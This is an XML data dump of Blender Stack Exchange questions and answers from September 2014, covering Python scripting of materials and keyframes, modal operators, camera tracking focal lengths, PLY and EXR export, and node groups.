  <row Id="16128" PostTypeId="1" CreationDate="2014-09-24T09:21:49.973" Score="1" ViewCount="1131" Body="&lt;p&gt;How can i copy all Material settings from one object to another using Python ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the materials settings drop down menu in the user interface i can copy/paste materials: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Copy Material ( which calls bpy.ops.material.copy() )&#xA;Paste Material ( which calls bpy.ops.material.paste() )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When i try to call bpy.ops.material.copy() from the python console i get a {'CANCELLED'} and the subsequent bpy.ops.material.paste() does not work.&lt;/p&gt;&#xA;" OwnerUserId="248" LastActivityDate="2014-09-24T11:59:55.127" Title="Scripted Copy of all Materials/Material slots from another Object" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16129" PostTypeId="2" ParentId="16128" CreationDate="2014-09-24T09:37:34.657" Score="2" Body="&lt;p&gt;Copy only the active Material:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tgt.active_material = src.active_material&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clean copy of all Material Slots from src to tgt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tgt.data.materials.clear() # ensure the target material slots are clean&#xA;for mat in src.data.materials:&#xA;    tgt.data.materials.append(mat)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2014-09-24T11:59:55.127" LastActivityDate="2014-09-24T11:59:55.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16131" PostTypeId="1" AcceptedAnswerId="16225" CreationDate="2014-09-24T13:23:19.757" Score="8" ViewCount="8565" Body="&lt;p&gt;I've been trying to track a footage taken by my Samsung Galaxy Note 8.0 (GT-n5100) tablet. It has a good 5 mp camera and I tracked the footage well. But the problem arises at the time of solving the camera. The solve error is too high (more than 2). I don't know the width the tablet's camera sensor or the focal length or any other specifications. So my question is, has anybody been able to solve the camera on footage shot by a smartphone and if yes,  what camera and lense specs did you feed to the Blender?&lt;/p&gt;&#xA;" OwnerUserId="3770" LastActivityDate="2015-09-20T05:08:34.927" Title="Lens specs of smartphones for camera tracking in Blender" Tags="&lt;camera&gt;&lt;tracking&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16132" PostTypeId="1" AcceptedAnswerId="16134" CreationDate="2014-09-24T13:45:42.660" Score="2" ViewCount="1352" Body="&lt;p&gt;I'm creating a stop motion animation that requires to Insert Keyframes of visibility. I was attempting to work out a script to make this process faster for me, but being new to python this has evaded me. Any help would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My work flow goes as:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select object (with mouse)&lt;/li&gt;&#xA;&lt;li&gt;Insert key frame on both viewport and rendering visibility &lt;/li&gt;&#xA;&lt;li&gt;Hide Viewport     &lt;code&gt;bpy.context.object.hide = True&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hide Rendering    &lt;code&gt;bpy.context.object.hide_render = True&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Move Next Frame&lt;/li&gt;&#xA;&lt;li&gt;Un-hide Viewport     &lt;code&gt;bpy.context.object.hide = False&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Un-hide Rendering    &lt;code&gt;bpy.context.object.hide_render = False&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Insert key frame on both viewport and rendering visibility &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Update based on accepted answer&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Other then the following comments, I can't find any other issues.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you run the script multiple times It will continue to add buttons.&lt;/li&gt;&#xA;&lt;li&gt;Also I agree with you on Just inserting a keyframe instead of hiding and adding a keyframe.&lt;/li&gt;&#xA;&lt;li&gt;Is there any way to apply the Hide keyframes to multiple items at once? It seems only the last selected item receives the keyframe change.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qyzwH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also once again a huge thanks, here is a frame of how it turned out!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3ezIa.jpg&quot; alt=&quot;Multiple Instances can be ran if script is ran more then once&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6180" LastEditorUserId="3401" LastEditDate="2015-12-22T18:33:52.963" LastActivityDate="2015-12-22T18:33:52.963" Title="Python Stop-Motion Insert Keyframe" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16133" PostTypeId="1" AcceptedAnswerId="16139" CreationDate="2014-09-24T14:06:13.973" Score="0" ViewCount="1350" Body="&lt;p&gt;I want to create geometry with multiple (at least 2) UV maps. One of them will be used to map the base texture (from a texture atlas) and the other one will map a pre-baked lightmap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to export the mesh including both UV maps to a PLY file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender, I added two UV maps and edited one of them to make them distinguishable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Bte0.png&quot; alt=&quot;multiple UV maps&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, only the specific UV map marked as &quot;active for rendering&quot; is exported into the PLY file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[...]&#xA;property float x&#xA;property float y&#xA;property float z&#xA;property float nx&#xA;property float ny&#xA;property float nz&#xA;property float s // u&#xA;property float t // v&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As PLY allows arbitrary vertex properties, it is not limited to only one pair of texture coordinates per vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something or is this a limitation of Blender's PLY exporter?&lt;/p&gt;&#xA;" OwnerUserId="6179" LastActivityDate="2019-02-21T20:48:25.133" Title="Export geometry with multiple UV maps to PLY" Tags="&lt;uv&gt;&lt;export&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16134" PostTypeId="2" ParentId="16132" CreationDate="2014-09-24T14:30:49.573" Score="3" Body="&lt;p&gt;This adds a button to the &lt;em&gt;3D View&lt;/em&gt; tool panel, &lt;em&gt;Animation&lt;/em&gt; tab:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class OBJECT_keyframe_insert_hide(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.keyframe_insert_hide&quot;&#xA;    bl_label = &quot;(Un)hide&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    hide = bpy.props.BoolProperty(name=&quot;Hide&quot;)&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.object is not None&#xA;&#xA;    def execute(self, context):&#xA;        ob = context.object&#xA;        ob.hide = self.hide&#xA;        ob.hide_render = self.hide&#xA;        ob.keyframe_insert(&quot;hide&quot;)&#xA;        ob.keyframe_insert(&quot;hide_render&quot;)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def draw_func(self, context):&#xA;    layout = self.layout&#xA;    hidden = context.object.hide&#xA;&#xA;    layout.label(&quot;Stop motion:&quot;)&#xA;    layout.operator(OBJECT_keyframe_insert_hide.bl_idname, text=&quot;Unhide&quot; if hidden else &quot;Hide&quot;, icon='KEY_HLT').hide = not hidden&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(OBJECT_keyframe_insert_hide)&#xA;    bpy.types.VIEW3D_PT_tools_animation.append(draw_func)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(OBJECT_keyframe_insert_hide)&#xA;    bpy.types.VIEW3D_PT_tools_animation.remove(draw_func)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It hides or unhides the active object and keyframes the &lt;code&gt;.hide&lt;/code&gt; / &lt;code&gt;.hide_render&lt;/code&gt; properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fhaPr.png&quot; alt=&quot;Insert Keyframes for hide and hide_viewport (toggle)&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-09-24T14:30:49.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16135" PostTypeId="2" ParentId="16121" CreationDate="2014-09-24T15:07:49.990" Score="2" Body="&lt;p&gt;It looks as though you have a non-planar face.  Since there is no such thing as a curved surface in computer graphics each face gets &quot;triangulated&quot; down to one or more tris (triangles).  So even though a &lt;em&gt;face&lt;/em&gt; may only have four edges, it is really composed of two &lt;em&gt;tris&lt;/em&gt;, separated by a &lt;em&gt;hidden edge&lt;/em&gt;.  This can cause unpredictability when the face is not planar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put an editable edge there you can select the two vertices and hit &lt;kbd&gt;J&lt;/kbd&gt; to join the two vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can make the face planar by going to &lt;em&gt;Mesh&lt;/em&gt; menu &gt; &lt;em&gt;Clean up&lt;/em&gt; &gt; &lt;em&gt;Make Planar Faces&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EiAyB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-10-28T15:58:50.963" LastActivityDate="2015-10-28T15:58:50.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16136" PostTypeId="2" ParentId="16131" CreationDate="2014-09-24T15:33:27.580" Score="12" Body="&lt;p&gt;For proper tracking you don't necessarily have to know the sensor dimensions or lens size. What matters is to determine the &lt;strong&gt;field of view&lt;/strong&gt; or angle of coverage for your particular camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That value can then be applied to any combination of sensor size and lens sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to get a good estimate of your camera's field of view it is to shoot video of an object of known dimensions, for example: a wall that you know is 4 meters wide. Using your camera, walk to the point where the wall fits perfectly in the frame. Then measure the distance from the wall to the camera (2 meters in this particular example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In blender create a solid that reproduces your wall and place camera at the measured distance from the wall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GV8GM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the camera lens settings move the &lt;strong&gt;Focal Length&lt;/strong&gt; numbers until you can see the wall filling the frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rlkGd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use those values (lens and sensor size) for your track. The perspective of your real camera and Blender's should match very closely for tracking purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(for even more accuracy don't forget to calculate the distortion for your lens. See: &lt;a href=&quot;https://blender.stackexchange.com/a/15622/1853&quot;&gt;https://blender.stackexchange.com/a/15622/1853&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2014-09-24T18:35:28.863" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16138" PostTypeId="1" AcceptedAnswerId="16145" CreationDate="2014-09-24T20:29:48.017" Score="0" ViewCount="351" Body="&lt;p&gt;Is it possible to know if an object moves or not with python in Blender? Is there any object's attribute/state/other that gives this information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here I speak of movement in world space. More precisely, if the world positions of the vertices of an object don't move between two frames, I consider the object doesn't move. If the camera moves but the objects don't, then their world positions shouldn't change and I consider they don't move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw some answer using Blender Game Engine with an active object, but I just use a rigid solids simulation in Cycles.&#xA;EDIT bis: My goal is to know when the objects in the simulation are in their final state basically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: a wrecking ball breaks a stack of cubes. Some cubes fall, and after some time they stop sliding on the ground: the object's state should tell me that now they are &quot;inactive&quot;. If they get hit by other falling cubes, then their state should change back to &quot;active&quot;, until they &quot;stabilize&quot; again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="4854" LastEditorUserId="4854" LastEditDate="2014-09-25T14:13:39.133" LastActivityDate="2014-09-25T14:13:39.133" Title="Object's attribute that says if object is still or moves?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16139" PostTypeId="2" ParentId="16133" CreationDate="2014-09-24T20:33:33.250" Score="0" Body="&lt;p&gt;This is a limitation in Blender's exporter, but also in the PLY format &amp;amp; its conventional use - which is to only have one UV layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could of course modify the exporter to write shape-keys, weights or any arbitrary vertex data, but other applications won't read it unless special support is added.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-09-25T07:19:49.193" LastActivityDate="2014-09-25T07:19:49.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16140" PostTypeId="1" AcceptedAnswerId="16149" CreationDate="2014-09-24T20:37:10.903" Score="0" ViewCount="420" Body="&lt;p&gt;Modeling polygons in blender using mouse and keyboard is relatively easy, but it takes a a lot of time. I would like to know if I can sculpt/model/texture/paint/move/animate objects in blender using only the python language with a lower interaction with the mouse. Do you have some kind of how to and tutorials? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6185" LastEditorUserId="5426" LastEditDate="2015-12-16T03:22:13.970" LastActivityDate="2015-12-16T03:22:13.970" Title="create a full featured product in blender using only the python language" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;texturing&gt;&lt;sculpting&gt;&lt;color-management&gt;" AnswerCount="2" CommentCount="0" ClosedDate="2015-12-16T03:26:49.537" ContentLicense="CC BY-SA 3.0" />
  <row Id="16142" PostTypeId="1" AcceptedAnswerId="16143" CreationDate="2014-09-24T22:55:15.070" Score="5" ViewCount="3505" Body="&lt;p&gt;I'd like to track mouse movement with the MOUSEMOVE event only while &lt;kbd&gt;LMB&lt;/kbd&gt; is held down, but can't seem to get the two to play nicely together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I tried was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if event.type == 'LEFTMOUSE':&#xA;    if event.value == 'PRESS':&#xA;        *some initialization code*&#xA;        if event.type == 'MOUSEMOVE':&#xA;            *the rest of the code that relies on mouse movement data*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="6073" LastEditorUserId="5426" LastEditDate="2015-12-16T03:22:12.147" LastActivityDate="2015-12-16T03:22:12.147" Title="Operator's, How to detect `MOUSEMOVE` inside of `LEFTMOUSE` event" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16143" PostTypeId="2" ParentId="16142" CreationDate="2014-09-24T23:20:15.070" Score="6" Body="&lt;p&gt;If &lt;code&gt;event.type&lt;/code&gt; is &lt;code&gt;LEFTMOUSE&lt;/code&gt;, how could it be &lt;code&gt;MOUSEMOVE&lt;/code&gt; at the same time?&lt;br&gt;&#xA;(exclude quantum mechanics)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;modal()&lt;/code&gt; method is called for every event, so you need to &quot;remember&quot; the left mouse state for the subsequent calls on &lt;code&gt;MOUSEMOVE&lt;/code&gt; events:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import IntProperty, FloatProperty&#xA;&#xA;&#xA;class ModalOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Move an object with the mouse, example&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.modal_operator&quot;&#xA;    bl_label = &quot;Simple Modal Operator&quot;&#xA;&#xA;    first_mouse_x = IntProperty()&#xA;    first_value = FloatProperty()&#xA;&#xA;    def modal(self, context, event):&#xA;        if event.type == 'MOUSEMOVE':&#xA;            if self.lmb:&#xA;                delta = self.first_mouse_x - event.mouse_x&#xA;                context.object.location.x = self.first_value + delta * 0.01&#xA;&#xA;        elif event.type == 'LEFTMOUSE':&#xA;            # we could handle PRESS and RELEASE individually if necessary&#xA;            self.lmb = event.value == 'PRESS'&#xA;&#xA;        elif event.type in {'RIGHTMOUSE', 'ESC'}:&#xA;            context.object.location.x = self.first_value&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        # variable to remember left mouse button state    &#xA;        self.lmb = False&#xA;&#xA;        if context.object:&#xA;            self.first_mouse_x = event.mouse_x&#xA;            self.first_value = context.object.location.x&#xA;&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &quot;No active object, could not finish&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.object.modal_operator('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="55" LastEditDate="2014-09-25T04:38:03.187" LastActivityDate="2014-09-25T04:38:03.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16144" PostTypeId="2" ParentId="8807" CreationDate="2014-09-24T23:21:10.760" Score="1" Body="&lt;p&gt;There's an addon that might be able to help you.&#xA;Its called the VSE Quick functions addon.&#xA;You can find it at &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?338598-Addon-WIP-VSE-Quick-functions-Snaps-Fades-Zoom-Parenting-Titling-Play-speed&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?338598-Addon-WIP-VSE-Quick-functions-Snaps-Fades-Zoom-Parenting-Titling-Play-speed&lt;/a&gt;&lt;br&gt;&#xA;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2014-09-24T23:21:10.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16145" PostTypeId="2" ParentId="16138" CreationDate="2014-09-24T23:46:01.540" Score="1" Body="&lt;p&gt;Here is a simple setup with script that displays the velocity vector of the active object and an indicator of that vector's length: &lt;a href=&quot;http://www.pasteall.org/blend/31772&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/31772&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run the modal operator and start the playback, you'll see how velocity changes, but that it never settles to completely zero. Thus, use some epsilon (tolerance value), such as&lt;br&gt;&#xA;&lt;em&gt;min and max out of 30 samples from diff vector lengths &amp;lt; 0.1&lt;/em&gt;&lt;br&gt;&#xA;(use a &lt;code&gt;collections.deque(maxlen=30)&lt;/code&gt; for that, it's a capped array)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the core of the script, I access &lt;code&gt;Object.matrix_world.translation&lt;/code&gt; to get the current location in 3D world. Note that you need to &lt;code&gt;.copy()&lt;/code&gt; this vector if you want to store the start vector, otherwise it will be an alias and the difference therefore zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bxSN5.png&quot; alt=&quot;Ridgid Body Animation velocity depiction&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be made a bit more efficient if one used an app handler (&lt;code&gt;frame_change_post&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-09-24T23:51:30.600" LastActivityDate="2014-09-24T23:51:30.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16147" PostTypeId="1" AcceptedAnswerId="16179" CreationDate="2014-09-25T00:44:13.497" Score="8" ViewCount="2004" Body="&lt;p&gt;Is there a way to control parts of a node (that doesn't have inputs) with Group Input nodes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/khMBP.png&quot; alt=&quot;ColorRamp&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6189" LastEditorUserId="5426" LastEditDate="2015-12-16T03:22:10.333" LastActivityDate="2020-04-11T23:15:16.810" Title="Controlling ColorRamp nodes with Group Inputs" Tags="&lt;nodes&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16149" PostTypeId="2" ParentId="16140" CreationDate="2014-09-25T02:00:30.543" Score="4" Body="&lt;p&gt;You will have to be more specific because the tools in blender should be sufficient without having to know python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said there is nothing you cannot do in blender using python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you drag down the top bar of blender (the line slightly below &quot;File&quot;, &quot;Render&quot; etc), you will notice it reveals a window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do some actions in blender, and you will see their equivalent python commands. Use these to get started. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2014-09-25T02:00:30.543" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16150" PostTypeId="1" CreationDate="2014-09-25T03:18:09.810" Score="1" ViewCount="1042" Body="&lt;p&gt;I downloaded the latest stable (2.71) after seeing a slightly older tutorial on smoke in cycles (&lt;a href=&quot;https://www.youtube.com/watch?v=oSiV5gg_lCs&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=oSiV5gg_lCs&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After adding a mesh and then hitting Space to add &quot;Quick Smoke&quot;, I cannot get the smoke domain in the node editor to allow me to add a Volume Scatter like the tutorial.  As a matter of fact, I can't find any &quot;Attribute&quot; nodes either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found volume_scatter in the source code as shader options in the node editor's include files, but I can't seem to get a shader to apply to the quick smoke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3-days frustratedly yours,&#xA;--Josh&lt;/p&gt;&#xA;" OwnerUserId="6191" LastActivityDate="2014-09-25T05:17:22.483" Title="Can't get node editor to add volume scatter for smoke domain in 2.71" Tags="&lt;cycles-render-engine&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16151" PostTypeId="2" ParentId="16150" CreationDate="2014-09-25T05:08:58.710" Score="1" Body="&lt;p&gt;Select your smoke domain (not the sphere)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the Node editor and make sure you are on the shader node editor,&#xA;(the Sphere icon on the left). also click on the object material (The cube icon).&#xA;Enable &lt;strong&gt;Use Nodes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5akwP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-09-25T05:17:22.483" LastActivityDate="2014-09-25T05:17:22.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16152" PostTypeId="1" CreationDate="2014-09-25T07:41:47.870" Score="26" ViewCount="32929" Body="&lt;p&gt;I am having an issue with EXR file export that I did not encounter in previous versions of Blender. I used to be able to render a render layer with all its passes and get all the passes included with the render layer with the EXR export; the problem I am finding now is that I am not able to &quot;pack&quot; the passes with the EXR file (see graphic below). I am working with &quot;standard&quot; EXR, as I understand that the EXR multilayer is for multiple file handling (packing all the image files into a single container), but I may be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GbNqY.jpg&quot; alt=&quot;EXR export not working&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the screenshot, the graphic is an EXR saved from the rendered layer; you can see in the screenshot how the &quot;extra&quot; passes from the render layer has been ignored by the graphic and only shows the standard &lt;em&gt;image&lt;/em&gt;, &lt;em&gt;z&lt;/em&gt; and &lt;em&gt;alpha&lt;/em&gt; passes. I found this issue for the first time with Blender 2.71; and maybe with Cycles; in the past I have never had an issue with EXR export.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? I hope EXRs still work with Blender, I wouldn't know how to composite without such invaluable aid. Sorry if this question has already been answered somewhere; I have really searched the site for information on EXR but I could not find an answer to my issue.&lt;/p&gt;&#xA;" OwnerUserId="5606" LastEditorUserId="31447" LastEditDate="2020-05-10T15:10:38.547" LastActivityDate="2020-05-16T00:15:27.710" Title="Save all render passes to EXR image?" Tags="&lt;rendering&gt;&lt;compositor&gt;&lt;image&gt;&lt;workflow&gt;&lt;file-format&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="16153" PostTypeId="1" CreationDate="2014-09-25T07:41:56.297" Score="2" ViewCount="52" Body="&lt;p&gt;I just started a project width a lot of colored pencils in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I want to have all of them have the &lt;strong&gt;same Material, but a different color&lt;/strong&gt;, i came up with the question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to create a single Material und &lt;strong&gt;assign different colors to meshes that all have this one material assigned&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or: &#xA;Is it possible to &lt;strong&gt;link the materials of the pencils&lt;/strong&gt;, so if I tweak one of them, the rest will have the changes applied, too?&lt;/p&gt;&#xA;" OwnerUserId="6192" LastActivityDate="2014-09-25T07:41:56.297" Title="One material with different color per mesh?" Tags="&lt;mesh&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-09-25T12:10:28.600" ContentLicense="CC BY-SA 3.0" />
  <row Id="16154" PostTypeId="2" ParentId="16140" CreationDate="2014-09-25T08:27:58.660" Score="0" Body="&lt;p&gt;While it is possible to use Python to enhance or automate mesh design, it's a good idea to familiarize yourself with what already exists and start learning the API only if nothing meets your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender has a lot of great add-ons already available, and the Blender API is not the easiest thing to learn.  It's not unapproachable!  Don't be discouraged.  Just don't spend time on it unless you really need to because it's an investment. While you're programming, you probably won't be making art, and there's no way for you to know ahead of time how long that will take as you learn. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking to fully automate the creation of meshes, then unless everything you plan on creating can be described entirely with math and logic, you won't do it.  Think about that carefully because unless you are familiar with advanced math (trigonometry, calculus, linear algebra, differential equations), you will probably find that your add-on's capabilities will be very specific and limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if you have an idea for a way that your computer can help you to make meshes yourself (a tool, an operation on faces, edges, vertices, loops, UV, textures, etc) then it may be worth your while to learn the part of the API that you need.  There's really no reason to become proficient with everything in the API unless you plan on offering your services to develop plugins for others.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, your computer is only a calculator.&lt;/p&gt;&#xA;" OwnerUserId="5840" LastEditorUserId="5840" LastEditDate="2014-09-25T08:37:26.000" LastActivityDate="2014-09-25T08:37:26.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
